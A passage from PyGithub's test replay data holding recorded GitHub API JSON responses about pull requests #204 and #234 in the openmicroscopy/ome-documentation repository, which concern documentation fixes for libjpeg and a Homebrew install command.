rl":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","full_name":"openmicroscopy/ome-documentation","owner":{"type":"Organization","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","url":"https://api.github.com/users/openmicroscopy","login":"openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gravatar_id":"7424190904f55023bd16416af0fd799b","repos_url":"https://api.github.com/users/openmicroscopy/repos","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png"},"comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue131.testGetPullWithOrgHeadUser.txt0000644000175100001660000004065514756101563025446 0ustar00runnerdockerhttps GET api.github.com None /repos/openmicroscopy/ome-documentation/pulls/204 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '16076'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4971'), ('server', 'GitHub.com'), ('last-modified', 'Thu, 31 Jan 2013 16:47:37 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"90a545a2bec87c31fff795c572a21ade"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Sun, 03 Feb 2013 16:46:06 GMT'), ('content-type', 'application/json; charset=utf-8')] {"deletions":6,"title":"Add note about libjpeg for PIL","state":"closed","number":204,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/204","head":{"user":{"type":"Organization","url":"https://api.github.com/users/imcf","avatar_url":"https://secure.gravatar.com/avatar/2e1c3dfd6e44c98d66556f9e454e7b99?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","login":"imcf","events_url":"https://api.github.com/users/imcf/events{/privacy}","organizations_url":"https://api.github.com/users/imcf/orgs","starred_url":"https://api.github.com/users/imcf/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/imcf/gists{/gist_id}","gravatar_id":"2e1c3dfd6e44c98d66556f9e454e7b99","repos_url":"https://api.github.com/users/imcf/repos","followers_url":"https://api.github.com/users/imcf/followers","id":2847663,"received_events_url":"https://api.github.com/users/imcf/received_events","subscriptions_url":"https://api.github.com/users/imcf/subscriptions","following_url":"https://api.github.com/users/imcf/following"},"label":"imcf:develop","repo":{"forks":0,"watchers_count":0,"compare_url":"https://api.github.com/repos/imcf/ome-documentation/compare/{base}...{head}","languages_url":"https://api.github.com/repos/imcf/ome-documentation/languages","git_refs_url":"https://api.github.com/repos/imcf/ome-documentation/git/refs{/sha}","url":"https://api.github.com/repos/imcf/ome-documentation","has_issues":false,"issues_url":"https://api.github.com/repos/imcf/ome-documentation/issues{/number}","contents_url":"https://api.github.com/repos/imcf/ome-documentation/contents/{+path}","commits_url":"https://api.github.com/repos/imcf/ome-documentation/commits{/sha}","issue_events_url":"https://api.github.com/repos/imcf/ome-documentation/issues/events{/number}","owner":{"type":"Organization","url":"https://api.github.com/users/imcf","avatar_url":"https://secure.gravatar.com/avatar/2e1c3dfd6e44c98d66556f9e454e7b99?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","login":"imcf","events_url":"https://api.github.com/users/imcf/events{/privacy}","organizations_url":"https://api.github.com/users/imcf/orgs","starred_url":"https://api.github.com/users/imcf/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/imcf/gists{/gist_id}","gravatar_id":"2e1c3dfd6e44c98d66556f9e454e7b99","repos_url":"https://api.github.com/users/imcf/repos","followers_url":"https://api.github.com/users/imcf/followers","id":2847663,"received_events_url":"https://api.github.com/users/imcf/received_events","subscriptions_url":"https://api.github.com/users/imcf/subscriptions","following_url":"https://api.github.com/users/imcf/following"},"default_branch":"develop","open_issues":0,"updated_at":"2013-01-14T15:20:58Z","svn_url":"https://github.com/imcf/ome-documentation","mirror_url":null,"milestones_url":"https://api.github.com/repos/imcf/ome-documentation/milestones{/number}","stargazers_url":"https://api.github.com/repos/imcf/ome-documentation/stargazers","trees_url":"https://api.github.com/repos/imcf/ome-documentation/git/trees{/sha}","events_url":"https://api.github.com/repos/imcf/ome-documentation/events","forks_url":"https://api.github.com/repos/imcf/ome-documentation/forks","notifications_url":"https://api.github.com/repos/imcf/ome-documentation/notifications{?since,all,participating}","merges_url":"https://api.github.com/repos/imcf/ome-documentation/merges","contributors_url":"https://api.github.com/repos/imcf/ome-documentation/contributors","assignees_url":"https://api.github.com/repos/imcf/ome-documentation/assignees{/user}","full_name":"imcf/ome-documentation","ssh_url":"git@github.com:imcf/ome-documentation.git","issue_comment_url":"https://api.github.com/repos/imcf/ome-documentation/issues/comments/{number}","statuses_url":"https://api.github.com/repos/imcf/ome-documentation/statuses/{sha}","homepage":"http://openmicroscopy.org","archive_url":"https://api.github.com/repos/imcf/ome-documentation/{archive_format}{/ref}","branches_url":"https://api.github.com/repos/imcf/ome-documentation/branches{/branch}","watchers":0,"created_at":"2013-01-10T15:32:44Z","has_downloads":true,"open_issues_count":0,"labels_url":"https://api.github.com/repos/imcf/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/imcf/ome-documentation/downloads","comments_url":"https://api.github.com/repos/imcf/ome-documentation/comments{/number}","subscribers_url":"https://api.github.com/repos/imcf/ome-documentation/subscribers","collaborators_url":"https://api.github.com/repos/imcf/ome-documentation/collaborators{/collaborator}","keys_url":"https://api.github.com/repos/imcf/ome-documentation/keys{/key_id}","size":128,"pulls_url":"https://api.github.com/repos/imcf/ome-documentation/pulls{/number}","blobs_url":"https://api.github.com/repos/imcf/ome-documentation/git/blobs{/sha}","tags_url":"https://api.github.com/repos/imcf/ome-documentation/tags{/tag}","fork":true,"html_url":"https://github.com/imcf/ome-documentation","clone_url":"https://github.com/imcf/ome-documentation.git","subscription_url":"https://api.github.com/repos/imcf/ome-documentation/subscription","teams_url":"https://api.github.com/repos/imcf/ome-documentation/teams","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","git_url":"git://github.com/imcf/ome-documentation.git","language":"Python","git_tags_url":"https://api.github.com/repos/imcf/ome-documentation/git/tags{/sha}","private":false,"id":7543421,"master_branch":"develop","pushed_at":"2013-01-10T16:04:23Z","has_wiki":true,"forks_count":0,"git_commits_url":"https://api.github.com/repos/imcf/ome-documentation/git/commits{/sha}","hooks_url":"https://api.github.com/repos/imcf/ome-documentation/hooks"},"sha":"e37990a177fbb47a481663e79015d1862d84e20c","ref":"develop"},"commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/204/commits","_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/204/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/204"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/204"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/204"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/204/comments"}},"assignee":null,"updated_at":"2013-01-14T15:20:58Z","mergeable_state":"unknown","comments":3,"commits":1,"changed_files":1,"closed_at":"2013-01-14T15:20:58Z","user":{"type":"User","url":"https://api.github.com/users/ehrenfeu","avatar_url":"https://secure.gravatar.com/avatar/d78ee38089403f67735ddbdc80b69745?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"ehrenfeu","events_url":"https://api.github.com/users/ehrenfeu/events{/privacy}","organizations_url":"https://api.github.com/users/ehrenfeu/orgs","starred_url":"https://api.github.com/users/ehrenfeu/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/ehrenfeu/gists{/gist_id}","gravatar_id":"d78ee38089403f67735ddbdc80b69745","repos_url":"https://api.github.com/users/ehrenfeu/repos","followers_url":"https://api.github.com/users/ehrenfeu/followers","id":697157,"received_events_url":"https://api.github.com/users/ehrenfeu/received_events","subscriptions_url":"https://api.github.com/users/ehrenfeu/subscriptions","following_url":"https://api.github.com/users/ehrenfeu/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/204","additions":8,"merged_at":"2013-01-14T15:20:58Z","review_comments":0,"comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/204/comments","merge_commit_sha":"d6d517c48187befdfdd1dc6784542d0976433ddd","created_at":"2013-01-10T16:20:56Z","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/204.diff","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/204","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/204/comments","merged_by":{"type":"User","url":"https://api.github.com/users/joshmoore","avatar_url":"https://secure.gravatar.com/avatar/b9d1630a90131545c699075f73da092b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"joshmoore","events_url":"https://api.github.com/users/joshmoore/events{/privacy}","organizations_url":"https://api.github.com/users/joshmoore/orgs","starred_url":"https://api.github.com/users/joshmoore/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/joshmoore/gists{/gist_id}","gravatar_id":"b9d1630a90131545c699075f73da092b","repos_url":"https://api.github.com/users/joshmoore/repos","followers_url":"https://api.github.com/users/joshmoore/followers","id":88113,"received_events_url":"https://api.github.com/users/joshmoore/received_events","subscriptions_url":"https://api.github.com/users/joshmoore/subscriptions","following_url":"https://api.github.com/users/joshmoore/following"},"milestone":null,"body":"If `libjpeg` is not installed while building PIL the JPEG support for some of the python scripts is missing (e.g. the \"Split View\" from the Figure scripts will fail).\r\n\r\nThe windows documentation probably doesn't need to be updated since PIL is provided as a binary distribution for that platform (and hopefully comes with JPEG support).","id":3623392,"merged":true,"mergeable":null,"base":{"user":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","repos_url":"https://api.github.com/users/openmicroscopy/repos","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"received_events_url":"https://api.github.com/users/openmicroscopy/received_events","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"label":"openmicroscopy:develop","repo":{"forks":19,"watchers_count":9,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_issues":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","repos_url":"https://api.github.com/users/openmicroscopy/repos","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"received_events_url":"https://api.github.com/users/openmicroscopy/received_events","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"default_branch":"develop","open_issues":3,"updated_at":"2013-02-01T11:04:39Z","svn_url":"https://github.com/openmicroscopy/ome-documentation","mirror_url":null,"milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","homepage":"http://openmicroscopy.org","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","watchers":9,"created_at":"2012-01-17T10:20:53Z","has_downloads":true,"open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","git_url":"git://github.com/openmicroscopy/ome-documentation.git","language":"Python","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","private":false,"id":3198415,"master_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_wiki":true,"forks_count":19,"git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks"},"sha":"66b416256fd3333771b9722582e2801df96c4a99","ref":"develop"},"review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/204.patch"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue131.testGetPullsWithOrgHeadUser.txt0000644000175100001660000147720014756101563025632 0ustar00runnerdockerhttps GET api.github.com None /repos/openmicroscopy/ome-documentation/pulls?state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4968'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '424635'), ('server', 'GitHub.com'), ('last-modified', 'Sat, 02 Feb 2013 21:21:49 GMT'), ('connection', 'keep-alive'), ('etag', '"a91db68d9aa99fb306c666e1363ab50c"'), ('link', '; rel="next", ; rel="last"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Sun, 03 Feb 2013 16:46:11 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/234/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/234"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/234"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/234"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/234/comments"}},"title":"Homebrew installation command","state":"closed","number":234,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/234","head":{"user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"label":"sbesson:homebrew_install_cmd","repo":{"forks":0,"svn_url":"https://github.com/sbesson/ome-documentation","merges_url":"https://api.github.com/repos/sbesson/ome-documentation/merges","languages_url":"https://api.github.com/repos/sbesson/ome-documentation/languages","assignees_url":"https://api.github.com/repos/sbesson/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/sbesson/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/sbesson/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/sbesson/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"open_issues":0,"updated_at":"2013-02-02T21:21:49Z","milestones_url":"https://api.github.com/repos/sbesson/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/sbesson/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/sbesson/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/sbesson/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/sbesson/ome-documentation/events","notifications_url":"https://api.github.com/repos/sbesson/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/sbesson/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/sbesson/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/sbesson/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/sbesson/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/sbesson/ome-documentation/collaborators{/collaborator}","full_name":"sbesson/ome-documentation","ssh_url":"git@github.com:sbesson/ome-documentation.git","pulls_url":"https://api.github.com/repos/sbesson/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/sbesson/ome-documentation/subscription","teams_url":"https://api.github.com/repos/sbesson/ome-documentation/teams","watchers":1,"created_at":"2012-08-22T08:57:59Z","git_url":"git://github.com/sbesson/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/sbesson/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/sbesson/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/sbesson/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/sbesson/ome-documentation/keys{/key_id}","size":608,"compare_url":"https://api.github.com/repos/sbesson/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/sbesson/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/sbesson/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/sbesson/ome-documentation/hooks","fork":true,"html_url":"https://github.com/sbesson/ome-documentation","master_branch":"dev_4_4","clone_url":"https://github.com/sbesson/ome-documentation.git","watchers_count":1,"git_refs_url":"https://api.github.com/repos/sbesson/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/sbesson/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/sbesson/ome-documentation/issues/events{/number}","private":false,"id":5507021,"default_branch":"dev_4_4","pushed_at":"2013-02-01T15:04:17Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/sbesson/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/sbesson/ome-documentation/forks"},"sha":"4c2b874e9e20667d610b71454551e0807013f2b4","ref":"homebrew_install_cmd"},"assignee":null,"updated_at":"2013-02-01T11:04:37Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/234/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/234/commits","closed_at":"2013-02-01T11:04:37Z","user":{"type":"User","url":"https://api.github.com/users/sbesson","received_events_url":"https://api.github.com/users/sbesson/received_events","login":"sbesson","events_url":"https://api.github.com/users/sbesson/events{/privacy}","organizations_url":"https://api.github.com/users/sbesson/orgs","avatar_url":"https://secure.gravatar.com/avatar/8ea0fde1295027db9d37e419ac10cbf4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/sbesson/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/sbesson/gists{/gist_id}","gravatar_id":"8ea0fde1295027db9d37e419ac10cbf4","followers_url":"https://api.github.com/users/sbesson/followers","id":1355463,"repos_url":"https://api.github.com/users/sbesson/repos","subscriptions_url":"https://api.github.com/users/sbesson/subscriptions","following_url":"https://api.github.com/users/sbesson/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/234","merged_at":"2013-02-01T11:04:37Z","merge_commit_sha":"3e6f47a1eb8615aa62fcfc9766802508c44d094b","created_at":"2013-01-31T09:30:56Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/234/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/234.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/234","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"Main goal of this PR is to fix the wrong Homebrew installation command (thanks @stick for noticing it) - see commit 4c2b874.\r\n\r\nAdded a number of commits fixing redirected links (see [linkcheck output](http://hudson.openmicroscopy.org.uk/job/OMERO-docs-merge-stable/ws/_build/linkcheck/output.txt) ). Linkcheck should still pass, hyperlinks should be unchanged and the size of output.txt reduced.","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/234.diff","id":3923290,"base":{"user":null,"label":"openmicroscopy:dev_4_4","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"982b9089c180f4c27c461d7258a8f40036d0721e","ref":"dev_4_4"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/233/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/233"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/233"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/233"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/